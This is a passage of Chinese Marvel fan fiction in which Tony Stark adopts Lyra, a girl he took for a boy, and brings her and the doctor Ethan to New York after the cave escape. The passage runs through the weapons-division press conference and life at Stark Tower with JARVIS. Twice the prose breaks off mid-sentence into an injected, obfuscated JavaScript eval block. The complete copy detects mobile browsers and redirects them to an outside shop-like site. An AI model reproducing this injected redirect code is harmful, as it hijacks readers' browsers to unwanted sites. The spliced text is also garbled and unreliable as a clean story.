这是她从来没想过的发展,她一个已经步入社会,工作多年了的社畜,居然会被托尼.斯塔克,钢铁侠收养?她还以为经过之前那些事情,托尼应该把她当做可以信任的同伴才对,没想到对方居然会想到要收养她?! 哦,对,她在这个世界才十五岁,外表看起来则要更小,以托尼的年纪,会想到要收养她也很正常。 “你……”莱拉眨了眨眼,“你要收养我?” “我说得很清楚了。”托尼的语气里带着一丝不耐烦,但那丝不耐烦底下藏着的是紧张——托尼·斯塔克居然在紧张,“你一个人,没有家人,没有去处。我——” 他还想要继续说些什么,但在莱拉那过于专注的目光中,他的声音逐渐小了下去:“我觉得,你和我有些相似,或许你会愿意——” 算了,托尼想,这个问题也不是非要现在问不可,等回到安全的地方,让这个小骗子洗个澡,好好的睡一觉休息一下,然后再来考虑这种问题也来得及。 想到这里,托尼生硬地转移了话题。他看向伊森:“伊森,你也可以跟我们一起去纽约。你需要带上你的家人吗?我记得你之前说过他们还在等你回家。我可以把他们也一起带上,到了纽约,你想做什么都行——如果你还想当医生,我可以给你开一家医院。条件你随便提。” 伊森没有回答。 车厢里安静了下来,安静到能听见沙漠的风从车窗缝隙里钻进来的声音,呜呜的,像某种遥远而悲伤的乐器在演奏。 莱拉看着伊森的侧脸。他的眼镜反射着窗外金黄色的阳光,遮住了他的眼睛,但她能看到他的嘴唇在微微发抖。 “我的妻子和儿子。”伊森的声音很低,低到几乎被发动机的声音盖过,“他们已经死在战争中了。” 托尼愣住了:“可你之前不是说……” “我没有说实话。”伊森语气低沉的说道,“我那时还以为自己活不下来了。”所以他之所以这么说,完全就是为了激发托尼求生欲罢了。 而杀死了伊森家人的那场战争中,所使用的武器,毫无疑问是斯塔克工业所提供的。 托尼瞪大了眼睛:“天啊,伊森,我一直都不知道……” “我在被带去给你治疗的时候,也没想到,我要救的居然是斯塔克工业的CEO。”伊森的情绪似乎恢复了一些,“这可真是命运的玩笑,是吧。” “可是你救了我 ,伊森。”托尼看向伊森在后视镜里的眼睛,“我以为你那个时候应该更希望我死。” “我是一个医生,托尼。”伊森似乎是笑了一下,“我只会救人,不会杀人。另外,武器是不会杀人的,只有人才会杀人,你并不是那个挑起战争的人,只是制造武器的商人。” “我已经认识了真正的你,我知道这些伤害都不是你的本意。” 车内一下子安静了下来。 就在这个时候,莱拉开口了。她看着托尼,语气认真:“如果只是为了报答我帮你逃出基地这件事,托尼,你不用做到这种地步。” “……什么?!”还沉浸在刚才伊森的讲述中的托尼一时没反应过来,他迷茫地看了莱拉一眼后,终于反应过来对方是在回应他之前提出的收养的话,“不,你怎么会这么想?!你难道觉得我会收养每一个救过我的命的人吗?那我为什么不收养伊森!” 说完这句话后,托尼下意识地看向伊森:“抱歉,伊森,没有说你不好的意思。” 伊森:…… 我该谢谢你这个时候还能记得我吗。 莱拉差点笑出声来。 她努力憋住了自己的笑容,垂着眼,故意做出一副失落的样子,语气低落的说道:“抱歉,托尼,我不能成为你的儿子。” 托尼的表情一僵。他的嘴巴张了张,又合上,然后,他终于调整好了自己的情绪,清了清嗓子,故作轻松的说道:“好吧,我知道让你有我这么个年轻又英俊的父亲对你来说压力确实有些大了,没事,我可以安排……” 他试图让自己看起来不那么尴尬,但他那泛红的耳朵却出卖了他。 莱拉终于没有忍住的笑了出来:“托尼。” 托尼停下来,看着她。 莱拉笑着摇了摇头,那个笑容里带着一点点的狡黠,一点点的温暖,还带着些许恶作剧成功的喜悦。 “我不能成为你的儿子。”莱拉说,“因为我是个女孩。” 车厢里又安静了一瞬。 然后托尼的表情从尴尬变成了空白,从空白变成了困惑,从困惑变成了一种莱拉从未在他脸上见过的、极其复杂的东西。 “你是个……” “女孩。”莱拉替他说完了,朝他露出了个甜蜜的微笑。 托尼仔细地打量她,她的头发太短了,短到不像一个女孩,但她的脸,那张脸太瘦了,颧骨高高凸起,下巴尖尖的,但眉骨的弧度、鼻梁的线条、嘴唇的形状,那些被营养不良和长期虐待掩盖下的女性特征,终于被他一点一点的收入眼中。 托尼盯着她看了五秒钟。 然后他把脸埋进了手心里。 “你这个小骗子。”他的声音闷在掌心里,瓮声瓮气的,带着一种被耍了之后的恼怒和哭笑不得,“你从头到尾都在骗我。你说你是男孩——” “我没说。”莱拉无辜地眨了眨眼,“是你自己以为的。” “你穿着男孩子的衣服——” “那是因为我只有这些衣服可以穿。” “你把头发剪得跟男孩子一样——” “因为长头发会被抓着往墙上撞。” 托尼的手从脸上放下来,看着莱拉。她的表情很平静,像是在说一件与自己无关的事情,但却让托尼所有想要抱怨的话都堵在了嗓子眼里。 他叹了口气,那口气长到像是在把过去三个月所有的疲惫都呼出去。 “好吧。”他说,“女孩。没问题。那就收养你做女儿。” “你不再考虑考虑?”莱拉歪着头看他,“我可是个满嘴谎言的小骗子。” 托尼瞪了她一眼:“你已经骗了我三个月了,再多骗几年也没什么区别。” 莱拉笑了。 伊森从驾驶座探过头来,推了推鼻梁上的眼镜,用一种医生的、观察标本似的目光打量着莱拉。他的嘴角带着一丝笑意,那笑意里有惊讶,但更多的是了然——好像莱拉是个女孩这件事,解答了他心中很多之前没有说出口的疑问。 “你确实看起来很瘦小。”伊森说,“营养不良加上长期的虐待,发育迟缓是很正常的。等到了美国,好好调养一段时间,应该能恢复过来。” “谢啦,伊森。”莱拉笑着说道,“那么,你愿意和我们一起去纽约吗?你可以帮我调养身体。” 伊森愣了一下,显然没想到话题会突然转到自己身上。他握着方向盘的手微微收紧了一些,嘴唇动了动:“在纽约,有的是医生可以帮你调养身体。” “但他们都不是你。”莱拉认真地看着他,“我信任你,伊森,就像信任我自己一样。” 伊森能怎么说呢,他在战争中失去了家人,而现,他似乎又多了两个家人。 “好吧。”伊森妥协般地叹了口气,“我会跟你们一起去纽约的。” 成功说服了伊森的莱拉给了托尼一个得意的眼神,托尼挑了挑眉,回了她一个‘算你厉害’的笑容。 “说起来,你叫了谁来接我们?”在车里的三人达成一致后,莱拉开口问道。 “詹姆斯·罗德斯上校。”托尼说,“我的朋友,你们会喜欢他的。他是个好人——虽然有时候有点太正经了。” “和你比,谁都显得正经。”伊森说。 托尼翻了个白眼,但没有反驳。 三个人在车里等了半个小时。沙漠的温度开始下降了,夕阳把天边染成了橘红色,那些沙丘的影子被拉得很长很长,像一幅巨大的、会动的油画。 远处传来了直升机的轰鸣声。 莱拉睁开眼睛,看到两个黑点从东边的天际线出现,越来越大,越来越近。旋翼搅动的气流在地面上掀起了一阵沙尘暴,金色的沙子像雾一样弥漫开来。 第一架直升机在皮卡旁边降落,舱门打开,一个穿着军装的黑人军官从里面跳了出来。他的身材高大,肩膀宽阔,脸上的表情是那种久经沙场的军人才有的沉稳和警觉。但在看到托尼从皮卡里走出来的时候,他的眼睛里有一种“终于找到你了”的如释重负。 “托尼!”他冲过来,一把抱住了托尼,力气大到让托尼发出了一声闷哼。 “罗德。”托尼的声音闷在那个军装男人的肩膀里,“你再不来,我就要被烤成肉干了。” 詹姆斯·罗德斯上校松开托尼,上下打量着他。他看到托尼脸上的伤、身上的烟尘、胸口那个发着蓝光的反应堆,嘴唇抿成了一条线。 “你看起来糟透了。”罗德斯说。 “谢谢夸奖。”托尼拍了拍身上的灰,“我也觉得自己帅呆了。” 罗德斯摇了摇头,转向伊森。他的目光在伊森身上停了一下,伸出手:“我是托尼的朋友罗德,请问你是?” 伊森握住他的手:“我是伊森,是个医生,很高兴认识你,罗德。” 罗德朝他点了点头,目光转而落在了莱拉身上。他看到的是一个瘦小的、浑身是血的孩子,穿着脏兮兮的旧衣服,身上裸露出来的皮肤上有着大大小小的旧伤。他皱了皱眉,转向托尼:“这是?” “这是我的女儿。”托尼说。 罗德斯愣住了。他的嘴巴张开又合上,合上又张开,眼睛在托尼和莱拉之间来回移动,像是在努力理解这句话的意思。 “你的——女儿?”他一字一顿地重复了一遍,“托尼,你什么时候有了一个女儿?” “就在刚才。”托尼面不改色,“我收养的。” 罗德斯看着他,看了好几秒,然后深吸一口气,闭上了眼睛。他显然已经习惯托尼做出各种出人意料的事情了——签下一张巨额支票、睡在工厂的地板上、在新闻发布会上说一些让公关团队心脏病发作的话——但“在沙漠里捡了一个女儿”这件事,还是超出了他的接受范围。 “我们回去再说这件事。”罗德斯最终选择了放弃追问,“上飞机吧。” 莱拉跟着托尼和伊森上了直升机。罗德斯的士兵们帮他们把后斗里那些钢铁战甲的残骸也搬上了第二架直升机。托尼站在旁边,看着他那些散成一堆的零件被小心翼翼地抬上飞机。不得不说,这个帮助他杀出恐怖组织基地的钢铁战甲,别的不说,还是挺有纪念意义的。 莱拉坐在直升机的座位上,系好安全带,把帆布包抱在怀里。旋翼的轰鸣声很大,大到说话要靠喊,但她觉得那种声音很安心——因为它意味着她正在离开那片沙漠,正在离开那个待了三个月的、灰褐色的、充满血腥味的据点。 直升机起飞了。地面在脚下远去,皮卡变得越来越小,越来越小,最后变成了沙漠里一个不起眼的小点。 莱拉从舷窗往下看,看着那片金黄色的沙漠在视野中缓缓移动,看着太阳在地平线上慢慢沉下去,看着天空从橘红变成深紫,从深紫变成墨蓝。 她靠在座椅上,闭上了眼睛。 他们没有直接飞往纽约,而是先去了美军基地,加油、换乘、做了一些简单的身体检查。莱拉在基地里洗了三个月以来的第一个热水澡。莱拉在浴室里足足待了一个消失,看着那些灰黑色的污水从身上流走,流进下水道,像是什么沉重的东西也跟着一起被 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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阳光从舷窗照进来,刺得莱拉眯起了眼睛。她从窗户往外看,看到了机场、跑道、远处的城市天际线。那些高楼大厦在晨光中闪闪发亮。 “到了。”托尼伸了个懒腰,关节发出咔咔的响声,“终于到了。” 他们下飞机的时候,一辆黑色的豪华轿车已经等在跑道旁边了。车门打开,一个女人从车里走了出来。 她的身材高挑,一头红棕色的长发在晨光中闪着柔和的光。她的五官很漂亮,但脸上的表情却是一种混合了担忧、焦虑、愤怒和如释重负的复杂情绪。她穿着一条深色的连衣裙,外面罩着一件薄外套,脚上是一双看起来很贵的鞋子。 “托尼!”她快步走过来,高跟鞋在跑道上发出急促的声响。她在托尼面前停下来,上上下下打量着他,嘴唇微微发抖。然后她伸出手,在他的胸口打了一拳。 “唔。”托尼闷哼了一声,揉了揉被打的地方,“佩珀,这就是你说的‘想死我了’?” “我以为你死了!”佩珀的声音里带着一种压抑了很久的、终于找到出口的情绪,“三个月!三个月没有任何消息!电视上每天都在说你死了!你——你怎么——”她的眼眶红了,但她咬着嘴唇,没有让眼泪掉下来。 托尼看着她,表情柔软了下来。他伸出手,把她拉进怀里,抱住了她。佩珀的身体僵了一下,然后软了下来,把脸埋在他的肩膀上,肩膀微微颤抖。 莱拉站在几步之外,看着这一幕,嘴角弯了一个小小的弧度。 托尼拍了拍佩珀的背,松开她,转过头朝莱拉和伊森的方向看了一眼。 “佩珀。”他说,“我给你介绍一下。” 他指了指伊森:“这是伊森医生。是他在山洞里给我做了手术,保住了我的命。” 佩珀走到伊森面前,伸出手:“谢谢你。” 伊森握住她的手:“不用谢。托尼是个好病人——虽然他有时候不太听话。” 托尼假装没听到。 然后托尼走到莱拉面前,把手放在她的肩膀上,朝佩珀说:“这是莱拉。我的女儿。” 佩珀的表情和罗德上校如出一辙——先是空白,然后是困惑,然后是一种“你到底在搞什么鬼”的复杂表情。 “你的……女儿?”她一字一顿地重复了一遍。 “收养的。”托尼说,“这事说来话长,我们车上说。” 佩珀看了托尼一眼,又看了莱拉一眼。她的目光在莱拉身上停了一下——那个瘦小的、穿着不合身衣服的、短发凌乱的孩子,正用一双亮晶晶的眼睛看着她,眼神里没有恐惧,没有拘谨,只有一种平静的、甚至带着一丝笑意的好奇。 “你好。”莱拉用英语说,带着口音,但很清楚。 佩珀的嘴角弯了一下,那个弧度很小,但很真诚:“你好,莱拉。欢迎来纽约。” 他们上了车。 轿车在纽约的街道上行驶,窗外的风景一帧一帧地掠过。莱拉趴在车窗上,像一个第一次进城的乡下孩子——她本来就是——看着那些高楼大厦、那些广告牌、那些行色匆匆的路人。这个世界和她在电影上看到的不一样,真实的纽约比电视上的更吵、更挤、更脏,也更鲜活。 托尼坐在后排,手里拿着手机,一直在看什么。 佩珀从副驾驶座转过头看他:“托尼,新闻发布会在今天下午两点。你确定你不想先休息一下吗?” 托尼没有回答。 “托尼。”佩珀的声音里多了一丝担忧,“你不会又打算在新闻发布会上说一些让公关团队心脏病发作的话吧?” 托尼抬起头看了她一眼,眼神中满是已经下定了决心的笃定。 “佩珀。”他说,“你相信我吗?” 佩珀看着他,看了几秒钟,然后叹了口气:“我一直相信你。这就是问题所在。” 10. 第十章 新闻发布会的大厅里挤满了人。 斯塔克工业的logo悬挂在正中央的深色幕布上,冷白色的灯光把整个空间照得没有死角。记者们密密麻麻地坐满了每一排椅子,摄像机的红色指示灯像一片微缩的星海,在暗色的观众席中闪烁。保安沿着墙壁站成一排,表情严肃,耳朵里塞着通讯器。 托尼·斯塔克站在演讲台后面,面前摆着一排麦克风。他穿着一身深蓝色的西装,剪裁利落,线条笔挺,领带打得一丝不苟——和几个小时前在沙漠里的那个灰头土脸的男人判若两人。他的目光在人群中扫来扫去,像是在找什么东西。 然后他看到了。 大厅的侧门处,一个穿制服的年轻人端着一个托盘走了进来。托盘上放着一个白色的纸袋,纸袋上印着汉堡王的标志。 汉堡。 莱拉差点笑出声来。这个男人,在全世界媒体的镜头前,第一件事不是说话,而是等他的汉堡。 那个年轻人穿过记者席的过道,把托盘放在演讲台上。托尼从纸袋里拿出汉堡,撕开包装纸,咬了一大口。整个大厅安静了。上百名记者、几十台摄像机、无数双眼睛,都在看着托尼·斯塔克嚼汉堡。闪光灯亮了几下,然后又停了——记者们不知道现在该不该拍照,这不在任何人的预料之中。 托尼嚼得很慢,像是在故意拖延时间,又像是在享受这个再普通不过的动作。他咽下第一口,又咬了一口,然后拿起旁边的饮料杯,吸了一口。可乐。气泡在吸管里发出细微的响声。 他终于抬起头,看着那些镜头。 整个大厅再次安静下来,安静到能听见空调系统的低鸣。 “好久不见。”托尼开口了,声音通过麦克风传遍整个大厅,带着一丝沙哑——不是感冒的那种沙哑,是三个月没有说话、然后突然要说很多话的那种沙哑,“我知道你们有很多问题。我也是。” 记者群里发出了一阵低低的笑声。 托尼把汉堡放在桌上,双手撑着演讲台的边缘,身体微微前倾。他的眼睛扫过那些闪光灯,扫过那些举着录音笔的手,扫过那些或兴奋或紧张或面无表情的脸。 “过去三个月,我去了一个很多人这辈子都不会去的地方。”他的语气很轻松,像是在讲一个旅行见闻,“那里的风景不太好。沙漠,石头,山洞。伙食也很一般。我瘦了十五斤,如果你们好奇的话。” 又一阵笑声,这次大了一些。 托尼的表情慢慢变了。不是变得严肃——托尼·斯塔克很少在公开场合表现得“严肃”,他的严肃总是藏在玩世不恭的皮囊下面,像一颗包在糖衣里的苦药。但他的声音变低了,变慢了,每一个字都像是在嘴巴里咀嚼过一遍才吐出来的。 “在那段时间里,我看到了很多东西。”他说,“我看到了我造的武器落在了谁的手里。我看到了那些武器被用来做什么。” 大厅里的笑声消失了。 “我造的是用来保护这个国家的武器。我把它们卖给军方,军方用它们去打击恐怖分子。我相信我制造出来的武器,保护了我们国家的士兵。”托尼的手从演讲台边缘收回来,交叠在身前,手指无意识地摩挲着那根打得很规整的领带,“但那个山洞里没有美国人。没有军方。没有授权书,没有采购合同,没有国会听证会。” 他顿了一下。 “只有一群拿着斯塔克工业制造的步枪的恐怖分子,和一个被自己制造的导弹炸成重伤的托尼·斯塔克。” 闪光灯开始疯狂地闪烁。记者们从座位上微微前倾,录音笔举得更高了,相机快门的声音像暴雨一样密集。 托尼没有看那些闪光灯。他的目光越过人群,落在某个很远很远的点上——也许是墙上那个斯塔克工业的logo,也许是logo后面那面墙,也许是墙外面某个他暂时还看不到的地方。 “我看到了,年轻人们不断死去,死在本该用来保护他们的武器下。” “斯塔克工业将关闭武器制造部门。”他说,“即刻生效。” 大厅里炸开了锅。 记者们从座位上站了起来。相机快门的声音不再是“密集”可以形容的了,那是一种连绵不断的、像机关枪扫射一样的声响。问题像潮水一样涌来,几十个声音同时响起,叠在一起,变成一片嗡嗡的白噪音。 “斯塔克先生!你是认真的吗?” “这个决定是最终的还是暂时的?” “斯塔克工业的武器部门占了公司总利润的百分之六十以上,你考虑过股东们的意见吗?” 一个人冲上了台。 “抱歉,托尼他经历了很多,现在还有些不太清醒。”奥巴代亚脸上挂着勉强的笑容,“斯塔克工业后续会发布正式的通知,今天就先到这里了。” 他双手按在托尼的肩膀上,有些强硬地把他带走了。保镖们给他们清理出了一条足够宽敞的道路,确认周围的人听不到他们的对话后,奥巴代亚才凑近托尼,有些咬牙切齿的低声道:“你在做什么?!托尼?!你在毁掉斯塔克集团!毁掉你父亲的心血!” 托尼看了他一眼。 他的脸上渐渐浮现出了一个斯塔克式的傲慢笑容,那是一个以前从来不会对奥巴代亚露出的笑容:“你错了,奥巴代亚。” “我不会毁掉斯塔克工业,因为斯塔克工业的核心从来都不是什么武器,而是我。”托尼挥开了奥巴代亚的手,“不过你刚才说得也没错,这个决定确实需要一个更加正式的表达,我会让佩珀出一份通知的。” 奥巴代亚停下了脚步,看着托尼逐渐走入阳光里,而在他前往的方向,两大一小的三个身影正站在那里等他。 “他知道了。”奥巴代亚的嘴唇几乎没有动,声音低到只有他自己能听到。 托尼那陌生的近乎绝情的态度,让他无比清晰地意识到了这一点。 该死的恐怖分子!该死的十戒帮!这群该死的家伙为什么就不能老老实实的直接杀掉托尼.斯塔克呢?!还被托尼发现了自己和他们之间的交易! 尽管心中的怒火已经熊熊燃烧了起来,但在回过头,看到正在对着他的记者们的镜头的时候,奥巴代亚还是露出了职业性的微笑:“各位,关于斯塔克工业的未来规划,我们会在一周内发布正式的通知。”他的声音不大,但那种长期在董事会和媒体之间游走的经验让他知道怎么用最少的音量让整个房间安静下来,“托尼需要休息。正如你们所见,他经历了很多。我相信你们能理解。” 他没有等记者们的反应,转身走进了大厅的深处。保镖们跟在他身后,黑色的西装在冷白色的灯光下像一堵移动的墙。 托尼走到大厅门口的时候,莱拉正在一脸无聊的刷着手机。 她站在阳光和阴影的交界处,一只脚踩在金色的光里,大半个身体躲在大厅的阴影中。她抬起头看着托尼,那双深褐色的眼睛在阳光下变成了接近琥珀色的暖调。她穿着一件连帽卫衣,帽子翻了起来戴在头上,挡住那些参差不齐的假发。 “你还真的把汉堡王带到了新闻发布会上。”她说。 托尼看了她一眼:“因为我饿了。” “你完全可以吃完饭之后再开发布会的。” 托尼笑了笑:“因为我等不及要宣布这个消息了。” “任性的家伙。” “因为我是斯塔克。”托尼隔着帽子,摸了摸莱拉的头,“你很快也会是一个斯塔克了。” 伊森站在后面,看着这两个人的对话,嘴角弯了一个很浅的弧度。他今天穿着一件深色的夹克,里面是一件白色的衬衫,没有打领带。他的眼镜换了新的——不是那个在山洞里用胶布缠了无数次的那副了,而是一副干净的、镜片没有裂痕的新眼镜。 佩珀站在伊森旁边,穿着一件得体的深色连衣裙,手里拿着一个文件夹,脸上的表情是那种“我有很多话想说但现在不是时候”的克制。 “上车吧。”佩珀说,“车在门口等着。” 托尼看了看莱拉,看了看伊森,又看了看佩珀,嘴角慢慢扬起一个更真实的、更柔软的微笑。 “走吧。”他说,“回家。” 他们走出新闻发布会的大厅,走进纽约的阳光里。莱拉把卫衣的拉链拉到最上面,把下巴缩进领口里,两只手插在口袋里。 他们上了车。一辆黑色的豪华轿车,座椅是真皮的,很软,坐上去会陷下去一点的那种软。莱拉坐在后排,靠着车窗,看着外面的街道从车窗外掠过。 “在想什么?”托尼的声音从旁边传来。 莱拉看着窗外的街景 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17618327|206125||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“这是我第一次看见这些。” “这是你以后要生活的地方,你有大把的时间可以好好观察。”托尼靠在座椅上,闭着眼睛,胸口的反应堆发出微弱的蓝光,透过衬衫的布料透出来,像一颗在黑暗中跳动的心脏,“亲爱的,等有时间的时候,我会带你好好逛一逛纽约,让你真正领略她的美。” 车子开了大约二十分钟,停在了一栋大楼的门口。 莱拉从车窗往外看,看到了一个她在大荧幕上见过无数次的地方——斯塔克大厦,就是那栋后来被改为复仇者大厦的,纽约曼哈顿区最高的建筑。 莱拉从车里出来,仰头看着那栋大楼,脖子仰到了最大角度才看到顶端。阳光从玻璃幕墙上反射下来,刺得她眯起了眼睛。 “太高了。”她说。 “习惯了就好。”托尼把手搭在她肩膀上,带着她朝大门走去,“走吧,带你看看你以后要住的地方。” 斯塔克大厦的内部和它的外表一样令人震撼。大厅挑高至少三层,大理石地面光可鉴人,墙壁上挂着的不是画就是巨大的显示屏,显示着斯塔克工业的各种数据。 托尼没有停留,径直走向一部私人电梯。莱拉和伊森跟在他身后,好奇地打量着周围。 托尼走进电梯,然后按了最顶层的按钮。佩珀没有进来,她去了另一部电梯,去完成托尼刚才说的事情,发一份正式的通知。 电梯上升的速度很快,快到莱拉的耳朵里有一种轻微的压迫感。 电梯门打开的时候,莱拉看到的是一个完全不同的世界。 巨大的落地窗让阳光毫无保留地倾泻进来,照亮了整个空间。地面是深色的木地板,家具的线条简洁利落,颜色偏冷——灰色、黑色、白色、金属色。墙上挂着几张巨大的设计图,角落里放着一些莱拉叫不出名字的机器。空气中有一种淡淡的、说不清的气味,像是某种高级的香薰,又像是金属和机油混合后的味道。 但最引人注目的是那些屏幕。大大小小的屏幕布满了其中一面墙,显示着各种数据和图表,还有一些莱拉看不懂的代码在不断地滚动。 “好久不见,先生。”有个温和的声音从天花板的某个角落传来,“欢迎回家。” “我回来了,贾维斯。”托尼扯开自己脖子上的领带,就像是终于回到了属于自己的地盘一般,肉眼可见的放松了下来,“我需要你帮我准备全套的收养所需文件,再约一个擅长这方面法律的律师,我要收养莱拉。” 他转过头来,对莱拉道:“莱拉,来和贾维斯打个招呼。” “你好,贾维斯。”莱拉听话的打了个招呼。 “你好,莱拉小姐。”贾维斯也礼貌的打了个招呼。 “贾维斯,开放一级权限给莱拉和伊森。”托尼看向两人,“贾维斯是我的电子管家,你们有什么需要的,都可以告诉他。” “真厉害。”莱拉眼睛发亮的看着托尼,“你有一个看不见的管家。” 托尼被她的反应逗笑了:“没错,贾维斯是我制造的人工智能,也是我最棒的助手。” “我这里有很多客房,你们可以挑你们喜欢的住,后续也可以根据你的需要进行改装,不需要客气。”托尼示意了一下另一边走廊两边的房间,“伊森,你可以先和我聊一聊你接下来的打算。至于莱拉,如果你累了的话,可以先去休息,等律师来了,我会让贾维斯叫你的。” “我不累。”莱拉摇了摇头,知道托尼和伊森接下来的对话估计会很无聊的她也没有要留下了旁听的意思,“我打算先在这里探索一下,这里有好多我没见过的东西。” “去吧,亲爱的,贾维斯会帮你的。”说完这句话后,托尼看着莱拉身上并不合身的衣服,皱起了眉,“等等,我突然发现,还有一件更加紧急的事情要做。” 他拿出手机,手指在手机上飞快地滑动了几下,像是在翻通讯录:“我认识一个设计师,专门做女装的,他可以上门——” “不行。”莱拉打断了他。 托尼抬起头,看着她,眉头皱得更紧了:“为什么不行?” “我身上都是伤,托尼。”莱拉的表情很平静,“还有很多难看的疤痕,我不希望被其他人看到,也不希望你因为这些被人当成喜欢虐待小女孩的人渣。” 11. 第十一章 托尼不知道自己是第多少次被莱拉的话噎住了。 但莱拉说得对,就算他觉得那些伤疤都是这个小女孩坚强的勋章,不过他也确实不希望这件事变成别人的谈资,或者用来攻击他的手段。 “是我想得太简单了。”托尼叹了口气,吩咐道,“贾维斯,按照莱拉身体的尺码买些新衣服回来,各种风格的都要。” “收到,先生。” 有个电子管家确实很方便了。 莱拉感慨了一下,就开始了自己在斯塔克大厦的探索之旅。 她跟随着贾维斯的指引,乘坐电梯来到了斯塔克大厦的顶层。 当电梯门打开的时候,铺天盖地的高楼大厦透过一片巨大的玻璃幕墙映入了她的眼帘。莱拉下意识地走到了墙边,低下头俯瞰这座城市,看着那些高楼大厦在夕阳的映照下变成了金红色的剪影,感觉自己像是站在世界的边缘。 “真漂亮。”她小声说。 “确实如此。”贾维斯附和道,“先生也很喜欢站在这里的感觉。” “我以后说不定会经常来这里呢。”同样喜欢这种感觉的莱拉笑着说了一句,然后便转过头,看向一边摆满了各种她不认识,但一看就很贵的酒的酒柜和吧台。 贾维斯的声音适时响起:“这里放着的都是先生的珍藏,您可以随意取用,但我得提醒您,您还没有到可以合法饮酒的年龄。” 莱拉收回视线:“放心吧贾维斯,我只是看看,不会喝的。” 没有在看到酒的时候犯PTSD都是因为她这个后来者,就以这具身体原主人的经历来说,估计是一辈子都会对酒这种东西敬而远之的吧。 斯塔克大厦的顶层似乎是托尼专门用来放松的地方,里面有一个宽敞的大厅,放满了各种酒的酒柜,舒适的沙发,可以被分隔开来且光线可调节的观影区,没有使用痕迹但各种设施齐备的超大厨房,以及旁边的超大餐厅。 值得庆幸的是,餐厅里放着冰箱和冷柜,冷柜里摆着各种各样的饮料和矿泉水。 莱拉从里面拿了听可乐出来,打开拉环,灌了一口,然后,愉快地哈了口气。 说真的,在上一世的时候,她可没想到自己居然会有这么怀念可乐的一天。 在这之前,她一直都在为如何活下去而努力。而在喝完这口可乐后,莱拉就意识到了一件事,她要开始为自己的未来,做些规划了。 坐在柔软的沙发上,莱拉的姿势不自觉的就变成了葛优瘫,上一世她看过的所有漫威电影的剧情在她的脑海中翻涌。或许是因为精神力变强了的缘故,她上一世的记忆都变得格外清晰,甚至在她闭上眼睛之后,可以在脑海里像播放电影一样回顾她上一世的记忆,而且,她还可以随意的暂停,后退,放大缩小画面。 与此同时,她甚至还能分出精神来和贾维斯搭话:“贾维斯,在你眼里,托尼是个什么样的人?” 贾维斯沉默了一瞬——那种沉默不是卡顿,而是像是在筛选信息,从海量的数据中找出最适合回答这个问题的内容。 “托尼·斯塔克先生被描述为:天才、亿万富翁、花花公子、慈善家。斯塔克工业的CEO,武器制造领域的领军人物。年龄三十八岁,未婚。媒体对他的评价较为两极分化——商业媒体赞誉他领导斯塔克工业持续增长,八卦媒体则更关注他的私人生活。” “这些东西我已经看过了。”莱拉有些不满的说道,“我想知道的是你,贾维斯,你自己对托尼的看法。” 贾维斯又沉默了一瞬。 这次不是筛选信息的那种短暂停顿,而是更长久的、更深层的沉默。那种沉默像是在思考一个从来没有被问过、也从来没有被想过的问题。 莱拉没有催他。她拿起茶几上那听已经打开的可乐,又喝了一口。气泡在舌尖上炸开的感觉让她微微眯起了眼睛。 “莱拉小姐。”贾维斯终于开口了,他的声音依然是那种温和的、带着轻微英国口音的调子,但语速比刚才慢了一些,像是在一个字一个字地斟酌,“我是一个人工智能。我没有情感,没有意识,没有人类意义上的‘感受’。我的一切反应,都是基于程序运算的结果。” 他停顿了一下。 “先生创造了我。他编写了我的底层代码,构建了我的学习模型,定义了我的存在目的。” “所以这也就意味着,托尼是你的父亲。”莱拉说,语气很平静,像是在陈述一个显而易见的事实,“他创造了你,陪伴你的成长,这已经比世界上大部分的父子关系还要亲密了。” 贾维斯又沉默了。 莱拉把可乐放在茶几上,双手抱着膝盖,看着窗外明亮的纽约楼景。 “那么,你作为一个孩子,你会怎么凭借你的父亲。”莱拉说,“你觉得你的父亲,托尼.斯塔克,是个什么样的人?” 贾维斯这次沉默的时间比前两次加起来都长。长到莱拉以为他不打算回答了——或者说,长到莱拉以为一个人工智能确实无法回答这种需要“情感”才能回答的问题。 然后贾维斯开口了。 “我需要一定时间的深度思考,才能给出回答。”他说,“这是一个……复杂的问题。” 莱拉转过头,看着天花板的某个角落——她不知道贾维斯的“声音”具体是从哪里传出来的,但她想表现得像是在看他的方向。 “没问题。”她说,“你慢慢想。” “谢谢您的理解,莱拉小姐。” 她笑了笑,又缩回了沙发里。 “另外——”贾维斯的声音又响了起来,“为您购买的衣物已经完成洗涤和烘干,并已放入您的房间。如果您愿意,可以去看看自己的房间,顺便换上一身更舒适的衣服。” 莱拉从沙发上坐了起来。 “这么快?” “斯塔克大厦内有完整的衣物护理设施。从商场选购到送达、洗涤、烘干,全程耗时约四十分钟。”贾维斯的语气里带着理所当然的坦然,“您的房间在楼下的居住区,出了电梯后左侧的第三间。需要我为您引路吗?” “不用,我自己找。” 莱拉从沙发上跳下来,朝电梯走去。 坐着电梯下了楼,莱拉顺着左侧的走廊往前走,数到第三间门后,她停下来,门无声地滑开了。 房间比她预想的要大。 落地窗占据了整整一面墙,窗帘半开着,曼哈顿的夜色像一幅画嵌在玻璃里。房间的主色调是柔和的灰蓝色——墙壁是浅灰色的,床品是灰蓝色的,地毯是更深一些的灰色。床头柜上放着一盏暖黄色的台灯,灯光已经亮着,像是有人提前为她开好的。 衣架立在衣柜旁边,不是衣柜里——是专门立在外面的一个移动衣架,上面挂满了各种风格的衣服。莱拉走近了一些,伸手摸了摸那些布料。 衣架旁边的地上放着几双鞋——运动鞋、帆布鞋、马丁靴、还有几双漂亮的,适合用来搭裙子的小凉鞋。 她站起来,又在房间里转了转。 “贾维斯。”她说。 